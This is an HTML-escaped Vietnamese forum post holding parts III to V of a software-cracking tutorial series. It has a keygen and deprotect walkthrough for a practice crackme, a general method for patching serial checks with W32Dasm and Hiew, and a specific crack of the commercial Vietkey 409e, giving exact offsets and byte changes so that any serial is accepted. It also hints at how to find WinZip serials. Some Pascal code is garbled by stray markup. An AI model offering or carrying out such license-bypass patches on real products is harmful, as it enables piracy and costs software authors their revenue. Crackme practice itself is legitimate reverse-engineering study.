class="postbody"&gt;Nhân đây tôi cũng post lên một bài của bác luucorp tut  crack Crackme#1 của Softcracker_vn bên vncracking để các bạn tham khảo, ai cần  source crackme thì PM me&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------&lt;br /&gt;Huong dan  viet KEYGEN OF: crackme#1.exe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Tools()&lt;br /&gt;---------&lt;br /&gt;1. Hview  ©SEN --&gt; HVI&lt;br /&gt;2. W32DASM V8.93 --&gt; W32&lt;br /&gt;3. crackme#1.exe --&gt; C#1&lt;br /&gt;&lt;br /&gt;HeLp()&lt;br /&gt;--------&lt;br /&gt;1)deprotect:&lt;br /&gt;&lt;br /&gt;Dau tien ban cu thu load  C#1 trong W32 xem no ra sao, nhu thuong le bam vao menu Refs/.., ca 3 muc (  Menu.., Dialog.., String.. ) deu trang ca. (khong van de gi), thoat khoi menu va  ta tiep tuc an F10:&lt;br /&gt;&lt;br /&gt;Ta toi doan code sau:&lt;br /&gt;&lt;br /&gt;:00401000 PUSH 0 ;&lt;br /&gt;* Reference To:KERNEL32.GetModuleHandleA, Ord:0000h&lt;br /&gt;|&lt;br /&gt;:00401002 CALL  4068A3&lt;br /&gt;:00401007 MOV DWORD PTR [4070FB],EAX&lt;br /&gt;:0040100C XOR EAX,EAX&lt;br /&gt;:0040100E MOV AX,67&lt;br /&gt;:00401012 PUSH 0&lt;br /&gt;:00401014 PUSH 0040102C ;&lt;br /&gt;:00401019 PUSH 0&lt;br /&gt;:0040101B PUSH EAX&lt;br /&gt;:0040101C PUSH DWORD PTR  [4070FB]&lt;br /&gt;&lt;br /&gt;* Reference To: USER32.DialogBoxParamA, Ord:0000h&lt;br /&gt;|&lt;br /&gt;:00401022 CALL 40686d&lt;br /&gt;&lt;br /&gt;* Reference To: KERNEL32.ExitProcess,  Ord:0000h&lt;br /&gt;|&lt;br /&gt;:00401027 CALL 4068a9&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Doan ma tren la bo khung  cua chuong trinh, phan rau ria nam o phia sau, tiep tuc keo xuong phia duoi va  dung lai khi den doan ma sau:&lt;br /&gt;&lt;br /&gt;:004011D6 enter 0000,00&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;:004011DF cmp bye ptr [4070FA],0 ---|&lt;br /&gt;:004011E6 jmp 004011E9 &lt;----  khong on &lt;img src="http://www.blogger.com/hvaonline/images/smilies/76ec624536d56442d32f4d929544379e.gif" border="0" /&gt;&lt;br /&gt;&lt;br /&gt;Ban doc doan ma nay, thay co dieu gi do khong on thi phai lam gi co  chuyen vua cmp xong da jmp (la qua di mat), thuong sau cmp se la jnz, jz , jne,  je, jnb,... hoac la jxx khac. Do vay ta thu tim xem co cai jxx nao ma  xx&lt;&gt;mp (jxx &lt;&gt; jmp) o doan ma duoi khong, tot nhat ta nen vao HVI.&lt;br /&gt;&lt;br /&gt;Trong HVI nhay toi .004011E6. Keo xuong 1 it ban thay tai:&lt;br /&gt;.00401232: jne .00401C80 &lt;-- co jne&lt;&gt;jmp roi, nhu the thi doan  ma giua cmp va jne no lam cai quai gi?&lt;br /&gt;ban tiep tuc keo xuong phia duoi ban  thay co nhieu doan co ma tuong tu&lt;br /&gt;nhu doan ma tren (ma giua cmp,jne).&lt;br /&gt;va...&lt;br /&gt;Theo thong ke cua toi thi, C#1 chi co 3 mau code duoc lap lai 1  cach kha don gian:&lt;br /&gt;&lt;br /&gt;mau1[19]=(235,1,131,156,235,1,213,235,8,53,157,235,1,137,235,3,11,235,247);&lt;br /&gt;mau2[24]=(96,232,3,0,0,0,131,235,14,235,1,12,88,235,1,53,64,235,1,54,255,224,11,97);&lt;br /&gt;mau3[24]=(235,1,227,96,232,3,0,0,0,210,235,11,88,235,1,72,64,235,1,53,255,224,231,97);&lt;br /&gt;&lt;br /&gt;Chuong trinh C#1 duoc viet theo kieu:&lt;br /&gt;&lt;br /&gt;lenh1: vao ten&lt;br /&gt;mau1[19]&lt;br /&gt;lenh2: kiem tra ten&lt;br /&gt;mau2[24]&lt;br /&gt;lenh3: vao serial&lt;br /&gt;mau1[19]&lt;br /&gt;mau3[24]&lt;br /&gt;.&lt;br /&gt;.&lt;br /&gt;&lt;br /&gt;co nghia la  mau1[19],mau2[24],mau3[24] co hoac khong chang anh huong gi. ki thuat co ten  "muta code", duoc su dung trong 1 so virus (tu nhung nam &lt;=95). vi vay, de  cho ma duoc sang sua chung ta hay don sach 3 mau tren bang canh: tim 3 mau tren  va dien (nop=90h=khong lam gi). toi da viet 1 chuong trinh de thu hien viec tren  (uprotect.PAS).  {deprotect.pas} type m24=Array[1..24] of Byte;  const p19: Array[1..19] of Byte  =(235,1,131,156,235,1,213,235,8,53,157,235,1,137,235,3,11,235,247); p24: m24  =(96,232,3,0,0,0,131,235,14,235,1,12,88,235,1,53,64,235,1,54,255,224,11,97);  c24: m24  =(235,1,227,96,232,3,0,0,0,210,235,11,88,235,1,72,64,235,1,53,255,224,231,97);  var f:file; buf:m24; i,j,m,n:integer; se:longint; begin  write('Please wait.'); assign(f,'CrackMe1.EXE'); reset(f,1);  se:=$7e6; {} repeat seek(f,se); fillchar(buf[1],24,0);  blockread(f,buf[1],24,j); for m:=1 to 19 do {p19} if  buf[m]&lt;&gt;p19[m] then begin m:=1;break;end;&lt;br /&gt;&lt;br /&gt;for i:=1 to 24 do {p24}&lt;br /&gt;if buf[i]&lt;&gt;p24[i] then begin i:=1;break;end;&lt;br /&gt;&lt;br /&gt;for n:=1 to 24 do  {c24}&lt;br /&gt;if buf[n]&lt;&gt;c24[n] then begin n:=1;break;end;&lt;br /&gt;&lt;br /&gt;buf[1]:=$90; {fill nop}&lt;br /&gt;seek(f,se);&lt;br /&gt;if m&lt;&gt;1 then&lt;br /&gt;begin&lt;br /&gt;for m:=1 to 19 do&lt;br /&gt;blockwrite(f,buf[1],1);&lt;br /&gt;inc(se,m)&lt;br /&gt;end else&lt;br /&gt;if i&lt;&gt;1 then&lt;br /&gt;begin&lt;br /&gt;for i:=1 to 24 do&lt;br /&gt;blockwrite(f,buf[1],1);&lt;br /&gt;inc(se,i);&lt;br /&gt;end else&lt;br /&gt;if n&lt;&gt;1 then&lt;br /&gt;begin&lt;br /&gt;write('.');&lt;br /&gt;for n:=1 to 24 do&lt;br /&gt;blockwrite(f,buf[1],1);&lt;br /&gt;inc(se,n);&lt;br /&gt;end else&lt;br /&gt;inc(se);&lt;br /&gt;until j&lt;24; nop="0x90"&gt;  .00401C80&lt;br /&gt;(hoac dat 1 lech jmp 1280 tai .004011DF)&lt;br /&gt;viec 2:&lt;br /&gt;thuc hien  kha thu cong hoac ban tu viet 1 ct lam dieu nay.&lt;br /&gt;[40702e+i] =  [40702e+i]^0x43 (i=0..203=0xCC-1)&lt;br /&gt;&lt;br /&gt;Xong 2 viec tren la lai load C#1 trong  W32, lai vao Refs/.., ai cha cai gi day co 1 muc da bat sang: ta click vao  (String Data References) va cong viec con lai la cua ban. toi da doc va viet  duoc keygen sau.&lt;br /&gt;&lt;br /&gt;{keygen.pas}&lt;br /&gt;var&lt;br /&gt;ten: string;&lt;br /&gt;i,w: byte;&lt;br /&gt;crc,se: longint;&lt;br /&gt;begin&lt;br /&gt;asm mov ax,3;int $10;end;&lt;br /&gt;writeln('----'#13#10'Crackme#1 for softcracker_vn - Keygen by  dactrung'#13#10'----');&lt;br /&gt;write('Name: ');readln(ten);&lt;br /&gt;write('Code: ');&lt;br /&gt;crc:= 0;&lt;br /&gt;for i:= 1 to length(ten) do&lt;br /&gt;begin&lt;br /&gt;w:= ord(ten[i]);&lt;br /&gt;if not(ten[i] in ['A'..'z']) then&lt;br /&gt;w:= (w mod 10)+ ord('A')+ (w div 10);&lt;br /&gt;if w&lt;$61 then w:=w+ $20; w:= w-$61; crc:= (crc shl 1)+ w;  end; crc:=crc xor $17021995; se :=crc xor $43545CD1; {magic number}  se :=se xor $26051976; write(se); readln; end.  thanks,  dactrung &lt;a href="mailto:luucorp@yahoo.com"&gt;luucorp@yahoo.com&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------&lt;br /&gt;Bai viet  cua hacnho from HVA (xin vui long de dong nay khi ban trich dan lai--thanx a  lot)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;------Het Phan III ----&lt;br /&gt;&lt;br /&gt;Trong phần 4 tôi sẽ đưa ra cho  các bác một tut về các kỹ năng cơ bản để trở thành một cracker, cũng xin thông  báo với các bác là từ phần 4 trở đi kèm theo mỗi bài hướng dẫn tôi sẽ kèm theo  hai bài hướng dẫn crack một soft, một game hay crackme...trong đó một bài do tôi  crack và một bài nữa tôi sưu tầm do các đại ca crack...&lt;br /&gt;***************************************:&lt;br /&gt;Phần IV: Làm sao để crack được  một soft…&lt;br /&gt;&lt;br /&gt;Chào các bạn, chúng ta lạI gặp lạI nhau…&lt;img src="http://www.blogger.com/hvaonline/images/smilies/068ae40523a24c9ef54edefd375e542d.gif" border="0" /&gt;  Trong phần IV này chúng ta sẽ bàn đề vấn đề chính đó là làm sao để crack được  một phần mềm bằng WDASM và Hacker Views ??? (không dùng SoftIce).&lt;br /&gt;He he he  câu hỏI thật dễ nhưng mà trả lờI không dễ chút nào…!!! Tôi cũng như các bạn khi  tập tễnh bước vào làng crack cũng phảI toát mồ hôi mớI crack được một phần mềm.  Sau đây là một số kinh nghiệm bản thân tôi khi muốn crack một phần mềm bằng  WDASM và Hacker Views .&lt;br /&gt;&lt;br /&gt;Chú ý: Trong bài này tôi có tham khảo bài viết  của anh HOAVELU—Thanx for support&lt;br /&gt;&lt;br /&gt;I. Tổng Quát:&lt;br /&gt;&lt;br /&gt;Trên thị trường  phần mềm hiện nay có rất nhiều phần mềm, chủng loạI thật đa dạng và phong  phú…MỗI ngày lạI có nhiều phần mềm mớI ra đờI, bản thân những phần mềm đã xuất  hiện cũng luôn luôn nâng cấp lên version mới…Do đó cách crack luôn luôn phảI  linh động , không được lấy y chang cái cũ mà áp dụng cho cái mới…Sẽ thất bạI  ngay!!!&lt;br /&gt;&lt;br /&gt;Ví dụ: VớI phần mềm Winzip ver 8.0 bạn có thể dùng SoftIce tìm  đến dòng 00407AA3 LEA EAX,[EBP-0140] , sau đó đánh vào D EBP-0140 là tìm được số  serial tương ứng vớI user name nhập vào…Nhưng vớI Winzip 8.1 , nếu bạn áp dụng y  chang như cách đốI vớI Winzip 8.0 sẽ chẳng được gì…Do đó bạn hãy dùng chính cái  đầu của mình hơn là áp dụng một cách máy móc như con vẹt nhưng cái đã học&lt;br /&gt;&lt;br /&gt;II. Cài Đặt&lt;br /&gt;&lt;br /&gt;Hầu hết (khoảng 70%) phần mềm đều cài đặt xong rồI  ta mớI crack…(Tuy nhiên có những phần mềm bắt nhập license khi setup như Window,  Photoshop Visual Studio…thì ta sẽ bàn sau). Sau khi cài đặt xong bạn hãy chạy  soft cần crack sau đó ghi nhớ thông báo bắt đăng ký hay nhập license code, user  code v.v.&lt;br /&gt;&lt;br /&gt;III. Unpack&lt;br /&gt;&lt;br /&gt;Một số soft được tác giả nén lạI, vì sợ  crack…ke ke ke, đơn cử như Vietkey 2000 . Bạn phải xem coi chương trình có được  nén(pack) lại hay không. Nén ở đây không có nghĩa là được nén bằng WinZip hay  WinRAR mà file .EXE được nén nhỏ lại mà vẫn có thể chạy được bình thường không  cần giải nén. Để biết file có bị nén hay không, bạn phải xem mở file .EXE đó ra  để xem đoạn mã của nó. Ở đây tôi dùng WinNC, chọn file cần xem và nhấn F3. Thông  thường, nếu file đã bị nén thì nó sẽ có 1 dòng đặc trưng trong file bị nén ở đầu  file. Chẳng hạn như được nén bằng ASPack thì (thường) trong file sẽ có chuỗi  "aspack". Nén bằng UPX thì sẽ có dòng "UPX...". Còn đối với shrink thì có chữ  "shrink". Tuy nhiên, cũng có một vài công cụ giúp ta giải nén (unpack) mà không  cần biết file được nén theo dạng nào, đó là nó tự động nhận dạng. Tuy nhiên, nếu  dạng được nén không được hỗ trợ thì nó cũng đành bó tay. Tiêu biểu cho loại này  là ProcDump32, nó hỗ trợ khá nhiều dạng phổ biến như ASPack, Code Safe 3.X, PC  Guard 2.10, PE Compact, PKLITE... bạn có thể chọn "*unknown*" để chương trình tự  động nhận dạng.&lt;br /&gt;Ngoài ra, có thể chương trình còn được bảo vệ bởi 1 đoạn mã  bảo vệ (Security Code). Đây là một đoạn mã dùng để bảo vệ chương trình tránh bị  debug (anti-debug) hay thay đổi kích thước. Đối với loại này, chúng ta cũng có  một số chương trình để bỏ phần Security Code đó, có thể kể ra là : Anti Crypt,  UnCode Crypt, tEunlock...&lt;br /&gt;&lt;br /&gt;IV. Bắt tay vào crack&lt;br /&gt;&lt;br /&gt;*.Bước 1: sau  khi chạy chương trình bạn hãy ghi nhận lạI những thông báo bắt đăng ký đạI loạI  như “Enter Registration Code”, Register, evalution copy, unregistered  version…v.v và v.v&lt;br /&gt;&lt;br /&gt;*.Bước 2: Nhấn vào và nhập vào đạI một số  Serial/Unlock Code/Registration Code bất kỳ…Sau đó nó sẽ hiện lên một nag báo  rằng chúng ta đã nhập sai, yêu cầu nhập lại…Không sao, hãy ghi lạI dòng thông  báo mà bạn nhận được khi nhập sai như : “Incorrect Password...", "Wrong  Serial...", "Re-enter password ... "&lt;br /&gt;&lt;br /&gt;*.Bước 3:&lt;br /&gt;&lt;br /&gt;Chạy W32Dasm,  chọn "Open file to Disassembler..." hay nhấn trên thanh công cụ cũng được.&lt;br /&gt;_  Chọn file cần Crack.&lt;br /&gt;_ Trên menu Refs, chọn String Data References. Tại sao  ta phải làm như vậy, bạn hãy xem đoạn mã sau :&lt;br /&gt;&lt;br /&gt;Nếu "Serial bạn gõ vào" =  "Serial chương trình" thì &lt;---- Ta sẽ Patch chỗ này Nhảy đến đăng ký bản  quyền Còn không Nhảy đến bảng thông báo "Incorrect password..."  &lt;------- Bạn cần ở đây trong W32Dasm  Bây giờ, nếu nó kêu là sai thì  mình cho nó thành đúng : Nếu "Serial bạn gõ vào" &lt;&gt; "Serial chương  trình" thì &lt;----- Chỗ đã được patch Nhảy đến đăng ký bản quyền Còn  không Nhảy đến bảng thông báo "Incorrect password..." &lt;-------- Bạn cần ở  đây trong W32Dasm  Còn bây giờ bạn cần biết một chút về assembler (vì  chương trình sẽ được W32Dasm dịch ra assembler mà Viết lại trong assembler  đoạn code trên sẽ tương tự như : cmp eax, eax &lt;----- So sánh số  serial/unlock code... jne [Địa chỉ 1] &lt;----- Nhảy đến thông báo số đăng  ký đúng hoặc sai call [Địa chỉ 2] &lt;----- Nhảy đến thông báo ngược lại   Bây giờ, giả sử [Địa chỉ 1] là nhảy đến thông báo đã được đăng ký và  [Địa chỉ 2] nhảy đến thông báo "Incorrect password..." thì ta sẽ phải sửa lại  đoạn code như sau : cmp eax, eax je [Địa chỉ 1] &lt;------ Chỗ đã được  Patch call [Địa chỉ 2]  Trong assembler, câu lệnh nhảy được biết đến  là : je = Jump if equal : Nhảy nếu bằng jne = Jump if not equal : Nhảy  nếu không bằng  Vì vậy, thông thường "je" được đổi thành "jne" và ngược  lại. Trở lại với chương trình của chúng ta, đi tìm chuỗi "Incorrect  password..." là chúng ta đã đến bảng thông báo "Incorrect password...". Kiếm  bằng cách vào menu Refs/String data references của W32Dasm, tìm chuỗi "Incorrect  password..." và nhấn kép vào nó (hy vọng là có &lt;img src="http://www.blogger.com/hvaonline/images/smilies/17a389f32a2b2d90abfa447671499cc0.gif" border="0" /&gt;.  Lúc này, W32Dasm đưa chúng ta đến bảng thông báo chưa đăng ký rồi, nhiệm vụ của  chúng ta là phải kiếm được nơi có chứa lệnh nhảy đến bảng thông báo này. Hãy dời  con trỏ lên cho tới khi nào kiếm thấy dòng "je ..." hay "jne..." thì dừng lại ở  đó. Còn nếu thấy dòng :&lt;br /&gt;&lt;br /&gt;* Reference ....&lt;br /&gt;:000... &lt;---- để ý địa  chỉ này  thì hãy dừng lại đó vì bảng thông báo đã được gọi từ 1 địa chỉ  khác, nhấn Shift-F12 (hay vào menu Goto/Goto Code Location), nhập vào dãy  số000... sau dòng "* Reference..." rồi Enter. Lặp lại các bước dò như trên  cho đến khi nào thấy được dòng "je..." hay "jne..." Cuối cùng, khi đã kiếm  được rồi thì hãy nhìn xuống thanh status bar, bạn sẽ thấy 1 chuỗi số ngay sau  "@Offset ...00...". Nhớ lấy chuỗi số đó, và đừng quên là bỏ chữ "h" cuối cùng  đi, vì đây là chữ biểu hiện cho số HEX.  *.Bước 4:  Đóng W32Dasm  lại. Mở HView ra, nhấn F4, chọn Decode, nhấn F5, đánh vào giá trị00... bạn thu  được ở "@Offset...00..." lúc nãy và Enter, HView đưa bạn đến ngay đúng dòng bạn  nhìn thấy trong W32Dasm và còn chờ gì nữa, patch nó đi. Nhấn F3, rồi F2 (tôi  chọn cách này để giúp Newbie dễ hiểu hơn vì đôi lúc không phải lúc nào giá trị  cũng là 74 và 75). Sửa "jne..." thành "je..." và "je..." thành "jne..." _  Cuối cùng, nhấn F9 để Save chương trình và F10 để thoát, bạn chạy lại chương  trình và nhập số đăng ký bất kỳ thử xem sao, nếu may mắn, bạn sẽ nhận được thông  báo "Thanks for ..." &lt;img src="http://www.blogger.com/hvaonline/images/smilies/17a389f32a2b2d90abfa447671499cc0.gif" border="0" /&gt;,  hehe, và đừng quên lưu 1 bản .EXE để đề phòng sự cố trước khi Patch .&lt;br /&gt;&lt;br /&gt;Mẹo : Nếu không tìm thấy dòng "Incorrect password..." thì bạn thử đi  ngược lại là đi từ dòng "Thanks for..." hay "Registered..." xem &lt;img src="http://www.blogger.com/hvaonline/images/smilies/6a0fe32c3736658bde52846b7df05e01.gif" border="0" /&gt;.&lt;br /&gt;Đây là cách đơn giản nhất để Patch chương trình, ngoài ra còn có thể dùng  SoftICE, VBDe, DeDe, SmartCheck... cái đó để hỗ trợ crack soft là tùy ở bạn .  Bạn có thể nâng cao "tay nghề" bằng cách viết keygen hoặc bằng 1 số thủ thuật  khác như "spy memory" .&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Chú ý : Ngoài hai câu lệnh ASM cơ bản  bạn nên biết một số câu lệnh khác như : Call, Popad, Test, Nop ( bạn có thể tham  khảo trong phần phụ lục của tôi)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;V. Bài tập crack đầu tiên cho bạn&lt;br /&gt;&lt;br /&gt;Để minh hoạ cho phần lý thuyết trên chúng ta hãy tập crack một phần mềm  khá quen thuộc với người Việt Nam, đó là bộ gõ Vietkey...Trên thị trường hiện  nay đã có bản Vietkey build 11220, nhưng bản đó được pack lại bằng UPX, detect  Si nên tôi không hướng dẫn các bạn crack nó, mà chúng ta hãy tập crack phiên bản  Vietkey409e...Các bản Vietkey409,409d đã được các anh NVH©, Nguyễn Mạnh Cường  hướng dẫn, nhưng bây giờ trong tay tôi chỉ có bản Vietkey409e trong CD PHP  software #1, và mặc dùng bác Phạm Hồng Phước có cho bản crack, nhưng khi mở  Vietkey409e lên tôi thấy " License to Rockman", tò mò tôi thử xoá file VKNT.LIC  thì lập tức hiện lên bảng thông báo bắt đăng ký với tác giả he he, vậy là tay  Rockman này hắn chỉ tìm số serial cho riêng mình hắn, do đó bạn không thể đăng  ký license cho mình, không biết các bạn cảm giác sao chứ tôi rất bực mình khi  phải xài phần mềm do người khác crack ke ke ke...Từ đó hôm nay tôi sẽ hướng dẫn  các bạn crack Vietkey409e chấp nhận mọi serial, dù cho bạn có xoá file VKNT.LIC&lt;br /&gt;&lt;br /&gt;Công cụ : WDASM893, HIEWS602 (mới hơn càng tốt)&lt;br /&gt;Phần mềm :  Vietkey409e&lt;br /&gt;File cần crack : VKNT.EXE&lt;br /&gt;Cracker : hacnho&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Đầu  tiên các bạn chạy Vietkey409e, tức thì một loạt nag hiện ra đập liên tiếp vào  mặt bạn " Vietkey chua dang ky su dung, lien he tac gia", sau một hồi bắn ra một  loạt nag, nó hiện ra một dòng chữ " Unregistered Version" trên thanh tiêu đề của  Vietkey409e...Sau đó bạn đánh dấu kiểm vào check box " Đăng Ký Sử Dụng" or "  Registration", vào đó nhập vào User Nam, và License Code, enter, oh la la, một  nag bắn ra " Invalid Number", Bạn ghi nhớ lấy nó...&lt;br /&gt;&lt;br /&gt;Okie, sau khi tắt  Vietkey409e bạn dùng WDASM mở file VKNT.EXE trong thư mục cài đặt. chờ cho WDASM  disassembly xong bạn bắt đầu vào menu menu Refs, chọn String Data References,  kiếm cho ra dòng có chữ " Invalid Number", double click vào nó, đóng cửa sổ  String Data References lại, lúc này bạn sẽ thấy như sau :&lt;br /&gt;&lt;br /&gt;*. Reference  To: USER32. GetDlgItemTextA, Ord : 00EDh&lt;br /&gt;|&lt;br /&gt;:00403000 FFF15D4934000 Call  dword ptr [004093D4]&lt;br /&gt;:00403006 8D4DCC lea ecx, dword ptr [ebp-34]&lt;br /&gt;:00403009 51 pussh ecx&lt;br /&gt;:0040300A 56 push esi&lt;br /&gt;&lt;br /&gt;*. Reference To:  KERNEL32.lstrcmpA, Ord : 00269h&lt;br /&gt;|&lt;br /&gt;:0040300B FF15C8924000 Call dword ptr  [004092C8] =&gt;Gọi hàm kiểm tra License Code&lt;br /&gt;:00403011 85C0 test eax, eax  ==&gt; kiểm tra License Code&lt;br /&gt;:00403013 743D je 00403052 ==&gt;Nếu nhập đúng,  nhảy đến thông báo " License to.."&lt;br /&gt;:00403015 833D1877400000 cmp dword ptr  [00407718], 00000000&lt;br /&gt;&lt;br /&gt;*. Possible StringData Ref from Data Obj -&gt;"Go"&lt;br /&gt;&lt;br /&gt;:0040301C B8187C4000 mov eax, 00407C18&lt;br /&gt;:00403021 7505 jne 00403028  ==&gt; Sai, nhảy đến thông báo "Invalid Number"&lt;br /&gt;&lt;br /&gt;*. Possible StringData  Ref from Data Obj -&gt;"Invalid Number"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;:00403023 B89C704000 mov  eax,00407C9C&lt;br /&gt;&lt;br /&gt;Oh yeah, chúng ta đã tìm ra chỗ cần crack rồi phải không  các bạn, chúng ta chỉ cần đổi 2 chỗ, --một là ( :00403013 743D je 00403052  ==&gt;Nếu nhập đúng, nhảy đến thông báo License to " ) ==&gt; Cái mà ta cần  crack ở đây là, dù cho ta nhập vào số serial gì nó cũng chịu và hiện ra bảng  Lincense to...&lt;br /&gt;--hai là, chúng ta không cho hiện ra bảng " Invalid number"  đồng nghĩa với chuyện bảng thông báo " Liên hệ tác giả" cũng không hiện ra luôn  he he (:00403021 7505 jne 00403028 ==&gt; Sai, nhảy đến thông báo "Invalid  Number")&lt;br /&gt;&lt;br /&gt;Ở đây chúng ta cần đổi hai bytes:&lt;br /&gt;&lt;br /&gt;1. bytes thứ nhất  chúng ta đổi câu lệnh nhảy ngược lại tức là từ je ( nhảy nếu bằng) thành jne  (nhảy nếu không bằng)...các bạn di chuyển vệt sáng đến dòng :00403013 743D je  00403052, nhìn xuống dưới thanh task bar của WDASM bạn thấy một địa chỉ offset  0002413 (bỏ chữ h đi nhé), nhớ lấy nó...Mở HIEWS ra, tìm đến file VNTK.EXE  (thường là ở ổ C, alt+F1 để chuyển ổ đĩa), nhấn F5, gõ vào 0002413 , nhấn F3,  đổi 74 thành 75. Nhấn F9 để lưu, F10 để thoát&lt;br /&gt;&lt;br /&gt;2. bytes thứ hai chúng ta  đổi câu lệnh nhảy ngược lại tức là từ jne ( nhảy nếu không bằng) thành je (nhảy  nếu bằng)...các bạn di chuyển vệt sáng đến dòng 00403021 7505 jne 00403028, nhìn  xuống dưới thanh task bar của WDASM bạn thấy một địa chỉ offset 0002421 (bỏ chữ  h đi nhé), nhớ lấy nó...Mở HIEWS ra, tìm đến file VNTK.EXE (thường là ở ổ C,  alt+F1 để chuyển ổ đĩa), nhấn F5, gõ vào 0002421 , nhấn F3, đổi 75 thành 74.  Nhấn F9 để lưu, F10 để thoát...&lt;br /&gt;&lt;br /&gt;bây giờ mở lại Vietkey, đăng ký, hay xoá  file VKNT.LIC xem, bạn sẽ thích ngay mà ha ha ha,&lt;br /&gt;&lt;br /&gt;----------------------&lt;br /&gt;thật ra tôi còn một chiêu khác là đổi je thành EB nhưng không chỉ cho các  bạn vì chúng ta chỉ mới học...Nếu hứng thú bạn có thể tự nghĩ ra cách để crack  bản Viekey409e này, bằng SoftIce (dùng hàm getdlgitemtexta),&lt;br /&gt;---------------------&lt;br /&gt;&lt;br /&gt;Bài viết của hacnho from HVA (vui lòng để lại  dòng này khi trích dẫn, thanx alot)----------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thế  là chúng ta đã đi hết phần IV rồi phải không các bạn, hy vọng các bạn sẽ hiểu  nhiều hơn về nghệ thuật crack, trong phần sau tôi sẽ hướng dẫn các bạn về  keygen, và chúng ta sẽ học crack PC security 5.0, Chúng ta sẽ học crack xen kẽ  một phần mềm Việt nam với một phần mềm nước ngoài...Và dĩ nhiên là chúng ta cũng  sẽ học crack những trò game nổi tiếng như Empire, Cossack, Haft Life...&lt;br /&gt;&lt;br /&gt;Hiện nay anh Hoàng đã đưa địa chỉ trang web của mình , các bạn hãy vào  tham quan và học hỏi nhe&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;My Forum: &lt;a href="http://www.class12p1.1vn.net/" target="_blank"&gt;&lt;span class="link"&gt;http://www.class12p1.1vn.net&lt;/span&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="postbody"&gt;Phần V&lt;br /&gt;&lt;br /&gt;Chào các bạn, đáng lẽ hôm nay tôi sẽ hướng  dẫn các bạn khái niệm về keygen nhưng vì chắc các bạn cũng cũng chưa rành cách  crack lắm nên tôi sẽ tiếp tục hướng dẫn các bạn cách crack một số phần mềm để  cho quen dần…sau đó mớI tiếp tục nâng cao trình độ là viết  keygen…-------------------&lt;br /&gt;&lt;br /&gt;Như thường lệ chúng ta sẽ đi qua phần lý  thuyết một chút. Bài viết này sẽ hướng dẫn các bạn một chút về các câu lệnh asm  đơn giản&lt;br /&gt;&lt;br /&gt;Chú ý : Trong bài viết này, phần lý thuyết tôi có tham khảo bài  viết của một fan vicki&lt;br /&gt;---------------------&lt;br /&gt;I. Lý Thuyết&lt;br /&gt;&lt;br /&gt;Tính  offset của lệnh JMP, JX, JNX &amp;amp; CALL&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;I. Lý thuyết&lt;br /&gt;&lt;br /&gt;1. Giới  thiệu&lt;br /&gt;&lt;br /&gt;Xin chào các bạn! Trong bài viết này tôi muốn giải thích với các  bạn cách tính toán offset của các câu lệnh JUMPS và CALL. Bạn sẽ thường xuyên  tính toán offset của các câu lệnh này trong reverse. Đặc biệt, hiểu được cách  tính cũng giúp bạn tiếp cận với kĩ thuật làm mù điểm vào host trong virus (EPO -  EntryPoint Obscrured) một cách dễ hơn!&lt;br /&gt;&lt;br /&gt;2. Các loại câu lệnh JUMPS &amp;amp;  CALL&lt;br /&gt;&lt;br /&gt;Ở đây tôi chỉ mô tả sự khác biệt của các câu lệnh JUMPS &amp;amp; CALL  mà bạn thường gặp!&lt;br /&gt;&lt;br /&gt;a) Short Jumps: nhảy ngắn có hoặc không có điều kiện  đều là 2 byte. Bạn chỉ có thể nhảy tới 127 byte hoặc nhảy lùi 128 byte với các  short jumps&lt;br /&gt;&lt;br /&gt;b) Long Jumps: nhảy dài, 6 byte cho có điều kiện hoặc 5 byte  cho không điều kiện&lt;br /&gt;&lt;br /&gt;c) Calls: 5 byte ở dạng short&lt;br /&gt;&lt;br /&gt;* Đây là bảng  mã máy mô tả sự khác biệt giữa các loại JUMPS &amp;amp; CALLS&lt;br /&gt;&lt;br /&gt;Jump  Description Short Op-Code Long Op-Code&lt;br /&gt;call procedure call E8xxxxxxxx N/A&lt;br /&gt;jmp unconditional jump EBxx E9xxxxxxxx&lt;br /&gt;ja/jnbe jump if above 77xx  0F87xxxxxxxx&lt;br /&gt;jae/jnb/jnc jump if above or equal 73xx 0F83xxxxxxxx&lt;br /&gt;jb/jc/jnae jump if below 72xx 0F82xxxxxxxx&lt;br /&gt;jbe/jna jump if below or  equal 76xx 0F86xxxxxxxx&lt;br /&gt;jcxz/jecxz jump if cx/ecx equals zero E3xx N/A&lt;br /&gt;je/jz jump if equal/zero 74xx 0F84xxxxxxxx&lt;br /&gt;jne/jnz jump if not  equal/zero 75xx 0F85xxxxxxxx&lt;br /&gt;jg/jnle jump if greater 7Fxx 0F8Fxxxxxxxx&lt;br /&gt;jge/jnl jump if greater or equal 7Dxx 0F8Dxxxxxxxx&lt;br /&gt;jl/jnge jump if less  7Cxx 0F8Cxxxxxxxx&lt;br /&gt;jle/jng jump if less or equal 7Exx 0F8Exxxxxxxx&lt;br /&gt;jno  jump if not overflow 71xx 0F81xxxxxxxx&lt;br /&gt;jnp/jpo jump if no parity/parity odd  7Bxx 0F8Bxxxxxxxx&lt;br /&gt;jns jump if not signed 79xx 0F89xxxxxxxx&lt;br /&gt;jo jump if  overflow 70xx 0F80xxxxxxxx&lt;br /&gt;jp/jpe jump if parity/parity even 7Axx  0F8Axxxxxxxx&lt;br /&gt;js jump if sign 78xx 0F88xxxxxxxx&lt;br /&gt;&lt;br /&gt;Vấn đề của chúng ta  là cần tính các số xx và xxxxxxxx trong mã máy&lt;br /&gt;&lt;br /&gt;3. Tính toán offset&lt;br /&gt;&lt;br /&gt;* Công thức: OFFSET = địa chỉ của nơi đến - (địa chỉ nơi jumps/calls +  kíck thước của câu lệnh jumps/calls)&lt;br /&gt;&lt;br /&gt;* Ví dụ:&lt;br /&gt;&lt;br /&gt;a) Bạn đang ở tại  địa 